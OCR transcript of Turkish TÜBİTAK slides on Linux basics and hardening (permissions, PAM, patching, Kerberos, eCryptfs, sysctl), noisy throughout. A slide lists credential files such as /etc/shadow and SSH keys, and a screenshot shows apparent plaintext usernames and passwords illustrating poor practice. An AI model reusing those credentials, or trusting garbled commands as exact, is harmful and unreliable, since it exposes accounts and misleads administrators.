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TUBITAK

Egitimin Amaci

UNIX/Linux Sistemlerinin Tanitimi |

Linux Sistemlerinin Sikilastiriimasi |
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Egitimin Genel icerigi “ A4

! TUBITAK

Unix/Linux Sistemleri

= Kurulum

= Kullanim

= Temel Sistem Yonetimi

T —— e

Linux Sistemlerinin Sikilastiriimasi
_Y—f

= Kurulum Guavenligi

= Acilis Yapilandirmasi

Guvenlik Amach Cekirdek Ayarlari

Dosya Sistemi Erisim Denetimi

Kullanici Erisim Denetimi

Kayit Tutma

Bltunluk ve Kullanilabilirlik Kontrol

Servis Guvenligi
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UNIX (ve LINUX) Nedir? “

UNIX, ilk olarak 1969 yilinda AT&T'ye bagl Bell

laboratuvarlarinda Uretilmis bir isletim sistemidir.

2007 yili itibariyla, “The Open Group” konsorsiyumunun
tescilli markasidir.

—— 2 g

Linux, 1991'den beri gelistirilen, Linus Torvalds tarafindan
baslatilmis UNIX benzeri bir isletim sistemidir.

5 Ekim 1991’de Linux’un ilk sGrima MIT’nin haber
listelerinde Diinya’ya duyuruldu.

- > = — — — — - - . - — = - -
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_ Kica BIFTrHS S

70-80'lerde akademik cevrelerde kazandigi populerlik, ticari
alternatiflerini de getirdi.

Ticari alternatiflerin akademik olarak uygun olmamasi, BSD
sofan's SO LLITION  t(ir(i UNIX sistemlerinin gelismesine 6nayak oldu.

1983'te baslayan GNU projesi ve 1991'de baslayan Linux'un katkisiyla
GNU/Linux olustu. “Gnu is Not UNIX “

Linux, GNU/Linux isletim sisteminin sadece kerneline verilen isimdir.
- A
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! TUBITAK

s

Ampg i
<

= OpenBSD, FreeBSD, NetBSD, ...
= Debian, Redhat, Suse, Ubuntu, Pardus,...

-—FE N rem RN TR e -
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Kurulum — Hangi Dagitim? "

Linux isletim sistemi, farkli yazilim ve yardimci programlarla birlikte hazirlanir ve
kolayca kurulabilir hale getirilir. Bu paketlere “dagitim” adi verilir.

s e

ubuntu SUSE = siackware MEP|S  Mandriva *ndios

S S

KNOPPIX JBNDONNIN  freeBSD  fedora  debian

Kullanim amaci, ihtiyaclar ve aI|§kanI|kIar dagitim secimini belirler.
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Kurulum Dosyalarini Edinmek " 4

TUBITAK
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Sistemi Kuruluma Hazirlamak " v

TUBITAK

Bilgisayarin donanimi Linux ve dagitimla uyumlu mu? |
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Kurulum | Oncesi “
TUBITAK

Nereden kurulmali? |
CD, FTP, Ag Sunucusu |

TP AN

Kurulum sinifi segllmelldlr |

Sunucu, I§ Istasyonu Dlger
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v

TUBITAK

Kurulum adimlarinda yapilan secimlerin kaydini tutmak.

Bastan itibaren glvenlik gereksinimlerini gozoninde bulundurmak.
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Uygulama | CentOS Kurulumu

TUBITAK

Welcome to Cent0S 6.4!

[nstall or upgrade an existing system
Install system with basic video driver
Rescue installed system

Boot from local drive

Memory test

Press [Tab] to edit options

Automatic boot in 58 seconds...

CentOS 6

Community ENTerprise Operating System

| /tmp, /var, /var/log, /var/log/audit, /home
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Dizinleri / Dosyalari Goriintiilemek (1) “ ‘@'

TUBITAK

cd — Calisma dizinini degistirmek

# cd <dizin>

= Dizin:
~ : kullanicinin dizini
~can :”can” adli kullanicinin dizini
. icinde bulunulan dizin
: bir Ust dizin

L = —T
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Dizinleri / Dosyalari Goriintilemek (2) “ @

! TUBITAK

|s — Dizin iceriklerini gorintulemek

# Is <secenekler> <dizinler/dosyalar>

= Secenekler:
-| uzun liste
-a gizli dosyalari da gostermek

— e
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Dosya igerigini Goriintiilemek ? “ A4

TUBITAK

cat — Dosya icerigini gostermek |
# cat <dosya ismi> |

less — Dosya icerigini sayfalandirmak |
e ——————

# less <dosya ismi>

= Page Up, Page Down ve ok tuslariyla gezinmek, / tusuna basarak arama yapmak
ve g tusuyla cikmak miamkinddr.

] ] =TT =y
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_Dosya/Diin ATSTER SR

touch — Bos dosya olusturmak

# touch <dosya ismi>

v T D AN -

grep — Dosyanin icinde aramak

B T i

# grep <aranan dizgi> <dosya ismi>

v T Te— L. v

find — Dosya aramak

# find <dizin> <find komutlari>

# find <dizin> -name <dosya ismi> Linux Find
Tum dosya sisteminde “services” adli dosyalari aramak:

# find / -name services

# find <dizin> -user <kullanicr ismi> \ll)
Tum dosya sisteminde “can” kullanicisina ait dosyalari aramak:

# find / -user can
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_ Dizin VAP

bin J [boot ) (dev J|etc J{home | |lib [medla )(mnt ] opt [proc ) [root ][sbm ](srv ] SYS tmp

vmlmuz/\ / ; [kde ] [gnome)
/hda / [sda [ [ si0 /)

(tinux ) (wx ) (X11R6 ) (bin ) [1a1 ) (sbin ) (share )

xdm xterm
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_ iz Ve TGS

/ En Ust dizin

/bin Aclilis sirasinda kullanilan programlar

/boot  Sistem yukleyicisinin kullandigi dosyalar

[/dev Cihaz dosyalari

[etc Uygulamalarin ve servislerin yapilandirma dosyalari

/home Kullanicilarin dizinlerinin bulundugu dizin

/lib “/bin” dizinindeki dosyalarin kullandigi kitiiphane dosyalari
/mnt Gegici baglanan dosya sistemlerinin bulundugu dizin
/media Gegici baglanan cdrom, usb vb. bulundugu dizin

Jopt Ek yazilimlarin kuruldugu dizin yapisi

/proc Cerkirdek hakkinda bilgiler tutan dosyalari iceren sanal bir dosya sistemi
[root “root” kullanicisinin ev dizini

/sbin Sistem yoneticisinin acgilista kullanabilecegi programlar

/tmp Gegici dosyalarin tutuldugu dizin
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Bazi Hassas Dosyalar " @
TUBITAK

/etc/resolv.conf Sistem DNS sunuculari
/etc/issue Dagitim stiriimu
/etc/passwd Yerel kullanicilar
/etc/shadow Kullanici parola 6zetleri
/etc/sudoers Sudo kurallari

/home/xxx/.bash_history Kullanici komut tarihgesi
/home/*/.ssh/id* SSH anahtarlari

/home/*/.vnc VNC uzaktan erisim bilgileri
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_ Kaytt Docyaler =SS

Kayit dosyalarinda sistem mesajlari ve kullanici muhasebesi bilgileri yer alir.

Cogu kayit dosyasi salt metin oldugundan, bir metin dizenleyicisi (vi, gedit, ...) ya
da metin gostericisi (more, less, cat, ...) kullanilarak incelenebilir.

B e & b B o e B

Bazi kayit dosyalarr: |

= [var/log/messages Cogu kayit bilgisinin bulundugu dosya

= /var/log/maillog Mesaj sistemiyle ilgili kayitlar

= [var/log/lastlog Sisteme giren ve c¢ikan kullanicilarin kaydi — salt metin
olmadigindan “last” komutuyla icerigi gorulebilir.

- — _— ”
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B — Y

Her komut icin bir klavuz sayfasi vardir.

Kullanimi: |
'_!—F

# man <komut> Komutun referans sayfasi
# man -k <anahtar s6zcik> Anahtar s6zclgln gectigi sayfalar
# man -a <komut> Komutla ilgili tim sayfalar
# man <1-9...> <komut> Verilen bolumdek| sayfa
. —_——— = — —
" Referans sayfalar, genel oarak aym bigime sahiptits
= NAME isim ve kisa aciklama
= SYPNOSIS Ozet kullanim bicimi
= DESCRIPTION Tanim
= OPTIONS Tum secenekler
= EXAMPLE Ornek kullanim (hepsinde yoktur)
= AUTHOR Yazar hakkinda bilgi
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Sistem Hakkinda Bilgi Edinmek “

date — Sistem zamanini 6grenmek |

date Simdiki zaman
# date -d yesterday Din
# date -d '10 days ago' On glin dncesi
# date +%Y Bu yil
# date +%A Bugi]n
caI Takvim
# caI Bu ayin takvim
# cal 2012 2012 yilinin takvimi
# cal 02 1975 Subat 1975 takV|m|
" unome - Sistemin sminyofrenmek
# uname isletim sisteminin modeli
# uname -a Tam bilgi
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Dosya/Dizinleri Kopyalamak, Tasimak, ... (1) " ‘@'

TUBITAK

cp — Dosya kopyalamak
# cp <kaynak dosya> <hedef>

e e R > — «

mv — Dosya tasimak
# mv <kaynak dosya> <hedef>

<kaynak dosya> birden fazla olabilir, bu durumda <hedef> bir dizin olabilir.

e L . T e e e

rm — Dosya silmek |

# rm <dosya ismi> Dosyayi silmek
# rm -f <dosya ismi> Dosyayi zorla silmek
# rm -i <dosya ismi> Dosyayi silmeden 6nce sormak
# rm -r <dosya ismi> Altdizinlerle birlikte silmek
- v e~ — ma -
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Dosya/Dizinleri Kopyalamak, Tasimalk, ... (2) “

TUBITAK

mkdir — Dizin yaratmak |
# mkdir <dizin |sm|> |

rmdir — Dizin S|Imek |
# rmdir <d|zm ismi> |
1 O

LS
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Dosya/Dizinleri Kopyalamak, Tasimak, ... (3) " ‘@

TUBITAK

N — Dosyalari baglama

T 3

# In <dosya ismi> <hedef>
Sert baglamak: dosya ve hedef ayni dosyaya isaret ederler.

# In -s <dosya ismi> <hedef>
Yumusak baglamak: hedef, asil dosyaya isaret eden baska bir dosya olur.

-—

4

;}s
\ g
55 g
3 :
% 5
g’

&

=
-

L
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Dosya Sistemlerini incelemek . “ A4

TUBITAK

df — Tium dosya sistemlerini raporlamak |

# df Standart kullanim
# df-h Okunabilir (MB,GB) boyutlar
# df <dosya sisteLni> Tek bir dosyalsistemi icin
du - Dizin ve dosyalarin kullandig disk alanin raporlamak
# du Standart kullanim
# du-s Sadece toplamlari listelemek
# du-h Boyutlari okunabilir cinsten vermek

L B R ERE Em _amoaL s o oae o o 7Y
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Dosya Sikistirma ve A¢ma Islemleri " \ 4

TUBITAK

Uc cesit dosya sikistirma yontemi vardir.

Kullandiklari yordamlardan dolayi farkli seviyelerde sikistirirlar.

;.4 -~ Y N —— — «

compress: uzantisi .Z

# compress — sikistirmak uncompress — sikistirilmis dosyayi1 agmak

gzip: uzantisi .gz
# gzip — sikistirmak gunzip — sikistirilmis dosyayi agmak

A R e e v

bzip2: uzantisi .bz2

#  bzip2 — sikistirmak bunzip2 — sikistiriimis dosyayi agmak
3 G = e e i R ] K
Her U¢ komuta da ortak secenekler:
=-9-8..-0 sikistirma seviyesi
" -y daha gorsel cikti
= LA B --— =
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Basit Yedekleme islemleri Yapmak “ ‘@'

TUBITAK

tar — Bir ya da daha fazla dosyayi tek bir arsivde toplamak |

Secenekler: I
" C Yeni arsiv olusturmak
=t Arsivin iceriklerini gostermek
= X Arsivden dosyalari cikarmak
= f Dosya ismi belirtmek
"y islemleri gdstermek
=7 compress kullanmak ‘Agx;ﬁéLes
"z gzip kullanmak
" bzip2 kullanmak

3 y = 4 - 4
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Uygulama | Kayit Dosyalarinin Yedeklenmesi " ‘@'

TUBITAK



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

“izin” Mantig " &

TUBITAK

|”

Dosya izin ve sahiplikleri “Is -” ile gorilebilir.

“FWXTWXTIWX

‘ A | Read, write, and execute

permissions for all other users.

Read, write, and execute
permissions for the group owner
of the file.

Read, write, and execute
permissions for the file owner.

File type:
-indicates regular file
d indicates directory
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_ Uygulara | DS/ TNESRR—

/etc/shadow ve /etc/passwd dosyalarinin izinlerini bulunuz.

Sonucu yorumlayiniz.
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Dosya Izinleriyle ilgili Komutlar — chmod (1) " ‘@'

TUBITAK

chmod — Erisim izinlerini ayarlamak |

Birinci kullanimu:
# chmod <mod> <dosya ismi>

R RN RRARDRDRDR R R R RTRTRTRrRTNrTN N R N ANSSRERBELAARAADEREEvESSSTSS=S=S

mod, t¢ basamakli bir sayidir:

4 - okuma
2 - yazma
1 - calistirma

Ornek: chmod 755 dosya.txt |

7 = kullanici icin okuma + yazma + calistirma
5 = grup icin okuma + ¢alistirma
5 = digerleri icin okuma + calistirma

- - Twe R TR -
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Dosya lzinleriyle ligili Komutlar — chmod (2) “

Ikinci kullanim: |

# chmod <ugoa><+-=><rwxs> <dosya ismi>

s SR —

» _— .

u : kullanici g : grup o : digerleri a:tim izinler
+ : ekle - : ¢ikar = : esitle
r : okuma izni W : yazma izni X gaI|§t|rma izni s suid” izni

Ornek: chmod og-w dosya.txt |
Dosyanin sah|b| olan kullanici disindakilerin yazmasin engeller. |
T - 4

- T T A T e TR ErET
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Dosya lzinleriyle ilgili Komutlar — Digerleri " \ 4

TUBITAK

chown — Kullanici sahipligini degistirmek
# chown <kullanici> <dosya>

# chown <kullanici>:<grup> <dosya>

= I s . ;

chgrp — Grup sahipligini degistirmek

# chgrp <grup> <dosya>

id — Kullanicinin k|m||g|n| belirlemek |

= mod, chmod komutunda kullanilan gibi Gi¢c basamakli bir sayidir.

= Farkl olarak, cikartilacak izinler belirtilir.

= Ornegin “umask 022” yeni dosyalarda kullanici disindakilerin yazma iznini kaldirir.
e e ———— E



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Uygulama | Dosya Sahipligi “

/etc altinda kendi adinizla bir dosya olusturunuz |
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Dosya Diizenleme " @

TUBITAK

i

vi / vim: Her Unix sistemiyle gelen metin diizenleyicisidir.

Kullanimi baslangicta kolay goriinmeyebilir, ama en glcli
metin duzenleyicilerindendir.

ilk basta kullanissiz gibi gorilebilir Ama grafik ortamla
erisilemeyen sistemlerde ve gelismis islemler yapmak
gerektiginde, kullanimini bilmek bir ¢cok isinizi rahatlatacaktir.
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Kullanici Eklemek ve Silmek “

useradd <secenekler> <kullanicr ismi> |

-c <ad soyad> Kullanicinin isim bilgisi

= -d<evdizini> Evdizini (/home/...)
= -g<gid> Asil grup numarasi ‘ !
¥

= -m Ev dizinini yarat \—*
= -s <kabuk> Kabuk belirt

-u <uid> ASI| kullanici numara5|

Kullanici eklendlkten sonra sifre bellrleme |

passwd <kullanici ismi>”
X P B A R RN R B ES - S E4

userdel <secenekler> <kullanicr ismi> |

i Kullanicinin dosyalarini da sil

= -f Kullanicinin ev dizinindeki dosyalari, kullaniciya ait olmasa da sil
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Kullanici Bilgilerini Degistirmek “

usermod <secenekler> <kullanicr ismi> |

= -c <ad soyad> Kullanicinin isim bilgisi
= -d <ev dizini> Ev dizini (/home/...)
= -g <gid> Asil grup numarasi
" -m Ev dizinini yarat
= -s <kabuk> Kabuk belirt
" -u <uid> Asil kullanici numarasi
: s ——— o ——— —

Ornek /etc/passwd satiri:

Ornek /etc/shadow satiri:
tom:$15alC1WG1VSAa3raeBFTjgKgqla.0bNUO0.:13692:0:99999:7:::

il o S LA
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Uygulama | Kullanici Olusturmak " ‘@'

Kendi adinizla uid=1111 olacak sekilde kullanici olusturunuz. |

Ev dizinini /home/ISMINIZ; kabugu /bin/bash olarak ayarlayiniz.
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L Y

Her donanimin b|r aygit ismi vardlr |
/dev dizini altinda aygltlara denk gelen dosyalar vardlr |
Bazi cok rastlanan aygitlar: |
O R R R R R R R RSRRRSSSNRSNRNtSsssss;s™‘_w»™=

/dev/hda ilk IDE disk

/dev/hda3 ilk IDE disk izerindeki ticincii bélim
/dev/hdb ikinci IDE disk

/dev/sda ilk SCSI disk

/dev/fd0 iIk Floppy disk

/dev/cua0 ik seri kapi (cikti)

/dev/ttySO ik seri kapi (girdi)

Bazi aygitlara kisayollar: |

/dev/cdrom CD-Rom
/dev/mouse Mouse

- -
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Servis ve Surecglerin Yonetilmesi " ‘@'

TUBITAK

Calisan surecleri gormek: ps

# ps-ef Tum siregler

#  ps -fu <kullanici> Kullanicinin suregleri

= N T AN NS s . ;

Kayith servisleri listelemek: chkconfig

#  chkconfig --list-all Tum servisler hakkinda bilgi

Kayitli servisleri yonetmek: service

# service <servis ismi> [start|stop |status]
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Linux Cekirdegi “ @

TUBITAK

isletim sisteminin donanimla diger uygulamalar arasindaki iletisimi saglayan
parcasina “cekirdek” (kernel) denir.

Linux cekirdegi:
-_ Y . . F
= Acik kaynakli oldugundan, istege gore farkli sekilde derlenebilir.

= Modul destegiyle, islerligi calisma sirasinda degistirilebilir.

= Ayarlanabilir secenekleriyle, davranisi degistirilebilir.

= —
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Cekirdegin Yapilandiriimasi “

Yeniden derlemek |
Moddlleri kullanmak |

L Ismod Yukli moddlleri gormek
= insmod Yeni modul eklemek
" rmmod Modil ¢cikarmak

Cekirdek ayarlarini degistirmek

= sysctl -a Ayarlari listelemek
= sysctl -w degisken=deger Bir ayari degistirmek
= [etc/sysctl.conf Degisiklikleri kalict kilmak

- —— : - »
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Yetkili Kullanici “ @

! TUBITAK

Unix/Linux sistemlerde, “root” kullanicisi sistem yonetimi icin yetkilidir.

su — Baska kullanicinin yetkilerine gecmek

# su root kullanicisi

#  su <kullanici_ismi> baska bir kullanici

#  su - <kullanici_ismi> su tek basina sadece kullanici yetkilerini degistirir. Diger
cevre ayarlariyla birlikte yetkilerini degistirmek icin “-” isareti kullanilir.

- v - -

auth required pam_wheel.so use_uid

— =
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B — Y

$ bash >

Prompt

ullaniciya iletir.

Verilen komutlariisietim sistemine ve komutlarin ¢iktilarini
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_Kabuk DegishEIST

Sistem tarafindan kullanilabilecek bilgileri saklamak icin degiskenler kullanilir.

En cok kullanilan kabuk degiskenlerinden bazilari: |

= HOME Kullanici dizini

= PAGER Sayfalandirma komutu (more, less, cat ...)

= PATH Komutlarin arandigi dizin listesi

Degiskenin icerigini degistirmek:
# export PAGER=cat
# export PATH= SPATH :/opt/bin

- e —————— -
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_ Kabuk Programiar R,

Kabuk, sadece kullanicinin girdigi komutlari isleyen bir yorumlayici degildir.

Ayrica birden fazla komutu arka arkaya calistiran “kabuk programlari”ni da isler.

Kabuk programlari, bir metin dizenleyicisiyle yazilabilir.

Ornek bir kabuk programi:

#1/bin/bash

echo “Tarih:”

date

echo “Kullanici Listesi”
who

(tarihkullanici.sh)
# chmod +x tarihkullanici.sh
# . /tarihkullanici.sh
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Uygulama | Kabuk Betigi Ornegi " ‘@'

TUBITAK

Ayni ID’li kullanicilarin varligini kontrol eden kabuk betigi yaziniz.

Alet cantasi
°* cat
° cut
* sort

° uniqg
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‘I TUBITAK

Sistem sikilastirmasi nasil gerceklestirilir:
‘V—F—E

) Kurulum esnasinda glivenlik ) Gereksiz servislerin kapatilmasi

J Yapilandirma dosyalari yedekleri I ) Gavenli servislerin kullanimi
) Yama yonetimi l . Sistem yonetim hesaplari
) Kayit/iz takibi mekanizmasi ' Q Erisim kontrolU

) Dosya/Dizin izinleri - L) Cekirdek parametreleri

R R p— - — = -
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“ TUBITAK

Guvenlik gereksinimleri belirlenmelidir.
Guvenlik politikalari tanimlanmalidir.
_ e e

) Hassas ya da gizli bilgiyi nasil siniflandirirsiniz?

) Sisteminiz hassas ya da gizli bilgi iceriyor mu?

) Tam olarak kime karsi korunmak istiyorsunuz?

) Sisteme uzaktan baglanma ihtiyaci var mi?

) Sifrelerle ya da kriptolamayla yeterli glivenlik saglaniyor mu?
1 internet erisimine ihtiya¢ var mi?

] Internetten sisteminize erisim ne kadar sinirlandiriimal?

d Slstemlnlzm guvenligindeki bir acikliga karsi neler yapllablllr?

— ———y—— - >
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v

' TUBITAK

Sunucu kapali ve iyi havalandirmali bir yere konulmalidir.

kullantlmalidir,
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BIOS Guvenligi "

Parola korumasi saglanmalidir.
BIOS ayarlarina girmek icin parola tanimlanmalidir.

A — -

“Reboot ” sinirlandiriimalidir.
CD-ROM, dlsket ya da USB’den boot etme oIanagl BIOS’tan etkisiz k|||nmaI|d|r

SCSI BIOS ayarlari yapilmalidir.
CD-ROM kasa5| kilitlenmelidir

T T = = R I T = ===~

“AUTO” ayarlar etkisiz kilinmalidir. |
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Boliimlendirme " ‘@'

' TUBITAK

= DoS (Denial of Service)

= Yedekleme

- - . N —

70%o - I

60% -

50%

OTmp
40%o |:| Log

H Spool
B Home
H Root

30% -

20% -

10% -

0% -
Web Shell News File Syslog

NENIE

= Hangi bélmeler olacak? (/, /home, /var, /usr, ...)

= Ne kadar yer ayrilacak? (NNTP, Syslog, www, ...)

—_—
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TUBITAK

root@mandal :~§ fdisk -1

Disk fdev/=sda: 160.0 GE, 160041885696 bytes
255 heads, &3 sectors/strack, 19457 cylinders,
gectors of 1 *# 512 = 512 bytes
byte
ez /

(logical/physical): 51
(minimum/optimal): 512 by
identifier: O0x0007bB8ES

Device Boot Startc
fdev/=sdal
Sdev/=daZ
Sdev/=sdab

[ = T W I %

root@mandal : ~ fecc/f=tab
Jetc/ferab: =static file system information.

Use 'blkid' to print the universally unique identifier for a
device; this may be used with TUUID= as a more robust way to name devices
that works even if disks are added and removed. See f=tab(5) .

M e e e e e

<file =svystem»> <mount point> <Lype» <options> <dump> <pass>
proc Jproc proc nodev, noexec, nosuid 0 0

-

Jdev/mapper/mandal -root f extd errors=remount-ro 0
% /boot was on fdev/sdal during installation
TUID=laaf?23ca-Tfda-4d47-b961-T£d30bed59c0 Sboot extZ defaults=
fdev/mapper/mandal -awap 1 none swap

root@mandal : ~#



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Dosya Sistemi Sikilastirmasi “ A4

TUBITAK

nodev, noexec, nosuid seceneklerini duzenleyin.

# mount -o remount,nodev,nosuid,noexec /tmp /dev/shm {/ayrilabilir ortamlar}
# mount -o remount,nodev /home

/var/tmp dizinini /tmp’ye baglayin. |
# mount --bind /tmp /var/tmp |

Kullanilmayan dosya sistemlerini etkisizlestirin.

freevxfs, jffs2, hfs, hfsplus, squashfs, udf

/etc/modprobe.d/harden.conf

install freevxfs /bin/true...

€ L g = ~ . >
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Y

Kullanishlik, yuksek performans, glivenlik

Bir sunumcu tek amaca yonelik servis vermeli.
= Bilgi hizmetleri: WWW, FTP

= Dosya ve yazici paylasim hizmetleri: NFS, Samba
= DNS hizmetleri

= E-mail hizmetleri

—— F————— ———— = -
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Paket ve Yama Yonetimi “ ‘@'

! TUBITAK

Fedora/CentOS/Red Hat icin “yum” kullanihr:
-Y—f

# yum install <paket ismi> Yazilim kurmak

# yum remove <paket ismi> Kurulu yazilimi kaldirmak

# yum update <paket ismi> Paket glincellemek

# yum search <paket ismi> Paket aramak

# yum provides /etc/ssh/ Dosyalarla ilgili paketleri bulmak
# yum [grouplist|groupinstall | groupremove] 'Grup Adi'

b i e BN BE B | S e _—
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Yazilim Giincellestirilmesi — RHEL " &

TUBITAK

# yum update --security
¥ L I A Ay
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Yazilim Giincellestirilmesi — AIX “ ‘@'

TUBITAK

AlX birden fazla giincelleme yontemi sunar.

SUMA (Service Update Management Assistant): AIX 5.3 sonrasinda gelen
otomatik gtincelleme sihirbazi

E“e gu nce“eme B 1BM Support: Fix Central

. . €« &> C M [ www-933.ibm.com/support/fixcentral/options
www-933.ibm.com/support/fixcentral/

Products  Support & downloads

+~ IBM Support Portal Fix central

Inventory upload

Supported products Fix Central provides fixes and updates for your system's software, hardware, and operating
system.
Enhancements
For additional information, click on the following link.
Help = Getting started with Fix Central
“ paeback Select product  Find product
i -+ Go to Fix Central mobile Select the product below.
Related links When using the keyboard to navigate the page. use the Alt and down arrow keys to navigate
! - Support for System p the selection lists.
= Support for BladeCenter Product Group
= Support for System i
AlX
Version
71
Function
Security
Continue
e > -

SLoEe
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Yazilim Guncellestirilmesi — HP-UX | ‘@'

! TUBITAK

HP-UX yamalari birkag gruptan olusur.

- = — & .
Bundle Mame HP-UX 11.0 [B.11.00) HP-UX 11iw1 (B.17.17) | HP-UX 17iw1.6(B.11.22) | HP-UX 17i w2 (B.11.23)
Cuality Pack @PK1100 GOLOAPPS11) MAA LEFAPPS

GOLOBASELLY QFKBASE

Hardhware Encblement | HWE1100 HWEnabl=111 A HWEnablelli
Required Patch Bundle | M/A EUHMDLE111 BUMDLE111 BUMCLEL11
Featurs Enablement Pafch | M/A A NAA FEATURELLL
Bundle
Maintenance Pack M A A MATHTPACK M A

HP-UX Software Assistant

Product details & specifications

HP-UX Software Assistant (SWA) is a tool that consolidates and simplifies patch management and security bulletin
management on HP-UX systems.

ﬁ Software Depot
Electronic download

Frequently asked questions .
Overview

SLeEe
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“root” ve Kullanici Hesaplari “ ‘@'

TUBITAK

Parolalar sistemi korur, kullanicilar da parola korumalidir.

Golgelenmis sifreler (shadow), varsa MD5 Uzeri kullaniimalidir.

Cogu modern sistemde shadow turu parola dosyalari ve en az MD5

algoritmasi varsayilandir.
* L

Tahmin edilmesi zor sifreler kullaniimalidir.

K=l

Share Wiew

Home

@ - 1 L » Computer » Local Disk (C:) » Users » v Desktop » Desktop »
= Anlamli olmalidir. (hatirlanmali!) N
B Desktop 1. Downloads
i Downloads 1. en_sql_server_2008_r2_standard_x86_x64_iaéd_dvd_521346
= Yazili olarak saklanmamalidir. Eopn
& SkyDrive 1 Jobs
= — BN
Hl 4 Libraries -t N_ File Edit Format View Help
5 Documen ts i Rig yca Ca
iﬁ Music LA 1lan1ct adl : a.ca
[ Pictures 1 UyddPassword : j8G4IWPh
‘ Videos 2 .
ek Fatih Ye
Kullanici adi : f.ye'
32
1 Computer 2 Password : YR52e88K
t AvilNergis Dil
8B fKullanicy ad1 : n.dis
@ Ban §Password : y9KVA422f
Ba
¥ Ba Sait B
A% Kullanici adi : s.bal

“MPassword : pxR2n8Rc
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Kullanici Hesaplari ve Giivenligi “ ‘@'

TUBITAK

adduser, useradd, addgroup, groupadd, passwd, chgrp komutlari

= En temel kullanici yonetimi
= Parolalar hash+salt bir durumda bulunur.

- B . =g _ - 3

passwd ve shadow dosyalarinin glivenligi |

# chmod 644 /etc/{passwd,group}
# chmod 000 /etc/{shadow,gshadow}

# chown root:root /etc/{passwd,shadow,group,gshadow}

PAM ile baska kullanici veritabanlari kullanilabilir. |

= NIS, LDAP, SMB...
= [etc/pam.conf, /etc/pam.d
~ -

m— — — - -

OpenLDAP+PAM+NSS |
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_‘I TUBITAK

pam_cracklib.so ile parola olusturma gereksinimlerinin belirlenmesi

/etc/pam.d/system-auth

password requisite pam_cracklib.so try_first_pass retry=3 minlen=8 Icredit=1
ucredit=1 dcredit=1 ocredit=1

— Sl = e

Hatali giris denemeleri icin kilitleme

/etc/pam.d/password-auth ve /etc/pam.d/system-auth dosyalarinda;
auth required pam_faillock.so preauth audit silent deny=5 unlock_time=900
auth [default=die] pam_faillock.so authfail audit deny=5 unlock_time=900
auth sufficient pam_faillock.so authsucc audit deny=5 unlock_time=900

auth [success 1 default= bad] pam_ un|x o)

Sy v 4 > - >
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Kerberos “ ‘@'
! TUBITAK

Ag uzerinde kimlik dogrulama

= MIT (Project Athena)

= Karsilikli (mutual) dogrulama

= GUvenilen hakem

= SSO (single sign on)

e — -
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_ Kerberds MarE S

3. Parola| |4. Sunucuya baglan
6. Ben ALICE, biletim ekte. 7. OK. Ben de BOB.

ALICE
client

4. BOB igin b|Iet
1. Ben ALICE, N | litfen. TGT'nin bir
TGS'den bilet Qpyasl ekte.

almak istiyorum

5. Dogru, sen ALICE’sin.

Biletin ekte.
2. Peki. Ekte Irgealrglgmﬁ(aa
kilitli. Acabilirsen

kullanabilirsin.

NN
TICKET GRANTING
SERVICE

AUTHENTICATION
SERVICE

KERBEROS DISTRIBUTION CENTER

— = = = ~—
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_ MicroEoht AD ERFECIESTONENR

Kurumsal yonetilebilirlik ihtiyaci

\ R 4
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(4

TUBITAK

Samba, winbind, nscd gibi varolan paketlerle mimkin ama...

CentrifyExpress

Aktif Dizin’"den User Authentication ve Group Policy bilgilerini alarak Unix, Linux, Mac
ve bazi uygulamalara (Jboss vs.) SSO (single sign-on) merkezi dogrulamasi ile oturum
acma islemlerini gerceklestiren sunucu-istemci ¢alisan Ucretsiz bir yazilimdir.

g
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Express

TUBITAK

- Deployment Manager !E m

O Fle  Action  view Window Help |_|- 8] ]
&= %|a=H
4¥ Centrify Deployment Manager Mame |
[l o Computers i Al Computers
E e Al Computers s Al Computers (Group by 05)
& %, adpostac.epdk.org.tr i Al Computers (Group by Zone)
) Growps i All Computers (Group by Location)
& Users s Computers with Centrify Software...

# Open Issues
[ Hiskary
i All Computers (Group by 05)
i All Computers {Group by Zone,
i All Computers {Group by Lacat
Wi Computers with Centrify Softw
s Computers with Na Centrify Sc Add Computers
¥ Ready ta Instal
s Ready to Instal with Warr
9 Mot Ready to Instal
i Computers Mok Analyzed
82 Local Accounts
= 3 Software
i+ Analysis Tools " Discover computers from the network
[ Centrify Suite 2012 Update 3
# Open Issues
[ History " Import a computer list from a text file

¥ Computers with Mo Centrify Softw..,
¥ Computers Mot Analyzed

M & FHHB

Select Computer Discovery Method

Select how you would like to get the computer information \cn Centnfy

Please chooze one of the following methods to build the computer list.

" Discover computers fram cloud

+ Add a single computer

Computer name / |P address: [192.168.10.239

< Back I Mext > I Cancel
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Express

TUBITAK

¥ Deployment Mansger
& Fie  Action  Wew Window Help

=181 =]
o> X1+ H
& Cerizty Deplyment Manager Heal B 1P Ak s Cpeeriking Syt 05 Platiarm 05 Wer i Archibect Lication Pralerved Con,
= oy Compubers i Fil i i i 7] !
#a Al Computers ¥, adpestan segubr DS GH9.EF Red st EL 6 o _i4 (peneric) —_— ek wih_B4 iy
= 5 ;T:.:L b 1” | Hat EL & x85_f4 [igananic)
8 Users Rasfrash Comguter Information
B Open Topess Manags Soltwans.,
Tl Histery i ;
+ 9 ek wij.br Harags Tong, ..
+ oy Al Computers (Group by 05) WHC |
% oy Al Compubers {iGroup by Zone Expant Lisars and Grougs... ENEEEE ot Logn
4 g Al Computers (Group by Locat Telut [
¥ g Compubers with Centrify Softw Dbtz WinSCP through S0P Logn & Shored Liser
= ¥y Computers with o Centrify S0 Frogerties WINSCP thrcugh SFTP Login & Anctter Lk
3 iy Foeady to Inghal WIRECP thaagh FIP T
¥ e Ready b [rakal with Warr Heslp

oy Mol Rsady to Tretal
4 g Compubers ok Ansfyoed
# R Locsl Aroounts
= [ Softwans
§v Fnabysis Tools
¥ Centrify Sulte 2012 Update 3
4 @ Open lspes

L ]
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Uygulama | Disk Sifreleme - eCryptfs " ‘@

' TUBITAK

cryptfs ile sifreli dizin olusturma

T

# yum install ecryptfs-utils gettext
# mkdir -m 700 ~/.Private
# mkdir -m 500 ~/Private
# mount -t ecryptfs .Private Private
» 2) passphrase; aes; 16; n; n; yes; yes
echo "sifrelenecek metin" > ~/Private/gereksiz_veri.txt
cat ~/Private/gereksiz_veri.txt
cat ~/.Private/gereksiz_veri.txt

umount ~/Private

H T T H T

mount -t ecryptfs .Private Private

- - — -
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Glivenlik Amach Cekirdek Ayarlari (1)

net.ipv4.tcp_max_syn_backlog = 4096

net.ipv4.tcp_syncookies=1

net.ipv4.conf.all.accept_source_route =0

